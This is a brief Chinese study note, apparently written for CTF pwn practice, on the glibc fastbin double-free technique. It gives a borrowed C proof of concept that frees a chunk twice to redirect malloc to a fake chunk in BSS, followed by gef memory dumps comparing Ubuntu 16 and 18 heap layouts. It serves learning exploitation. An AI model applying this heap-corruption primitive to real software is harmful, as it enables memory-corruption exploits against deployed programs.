fastbin里面是一些单链表,只能从一端插入和删除。
经理三次free之后的内存结构如图
chunk1和chunk2构成了一个环,可以利用这个环来设置chunk内容实现分配空间到需要的地方。
借用别人的利用代码。
typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK;
CHUNK bss_chunk;
int main(void)
{
void *chunk1,*chunk2,*chunk3;
void *chunk_a,*chunk_b;
bss_chunk.size=0x21;
chunk1=malloc(0x10);
chunk2=malloc(0x10);
free(chunk1);
free(chunk2);
free(chunk1);
chunk_a=malloc(0x10);
*(long long *)chunk_a=&bss_chunk;
malloc(0x10);
malloc(0x10);
chunk_b=malloc(0x10);
printf("%p",chunk_b);
return 0;
}
参考https://ctf-wiki.github.io/ctf-wiki/pwn/heap/fastbin_attack/
ubuntu16和18的利用差别:
double free之后
Ubuntu18
gef➤ x /20xg 0x0000000000aad260
0xaad260: 0x0000000000000000 0x0000000000000041
0xaad270: 0x0000000000aad2b0 0x6161616161616161
0xaad280: 0x6161616161616161 0x6161616161616161
0xaad290: 0x6161616161616161 0x6161616161616161
0xaad2a0: 0x0000000000000000 0x0000000000000041
0xaad2b0: 0x0000000000aad270 0x6262626262626262 指向前一个chunk数据开始
0xaad2c0: 0x6262626262626262 0x6262626262626262
0xaad2d0: 0x6262626262626262 0x6262626262626262
0xaad2e0: 0x0000000000000000 0x000000000001fd21
0xaad2f0: 0x0000000000000000 0x0000000000000000
Ubuntu16
gef➤ x /20xg 0x00000000023ee010
0x23ee010: 0x0000000000000000 0x0000000000000041
0x23ee020: 0x00000000023ee050 0x6161616161616161
0x23ee030: 0x6161616161616161 0x6161616161616161
0x23ee040: 0x6161616161616161 0x6161616161616161
0x23ee050: 0x0000000000000000 0x0000000000000041
0x23ee060: 0x00000000023ee010 0x6262626262626262 指向前一个chunk开始
0x23ee070: 0x6262626262626262 0x6262626262626262
0x23ee080: 0x6262626262626262 0x6262626262626262
0x23ee090: 0x0000000000000000 0x0000000000020f71
0x23ee0a0: 0x0000000000000000 0x0000000000000000
chunk位置相同但是指向的位置不同。
18指向的是前一个chunk数据部分的开始。
16指向的是前一个chunk的开始。
另一点不同就是对size的检测机制不同,18好像是不进行检测的。但是16会进行严格的检测。
不过所谓的检测的size是占4个字节64位系统size同样是占4个字节。
具体例子今后补充。。。。。。。。。。。。。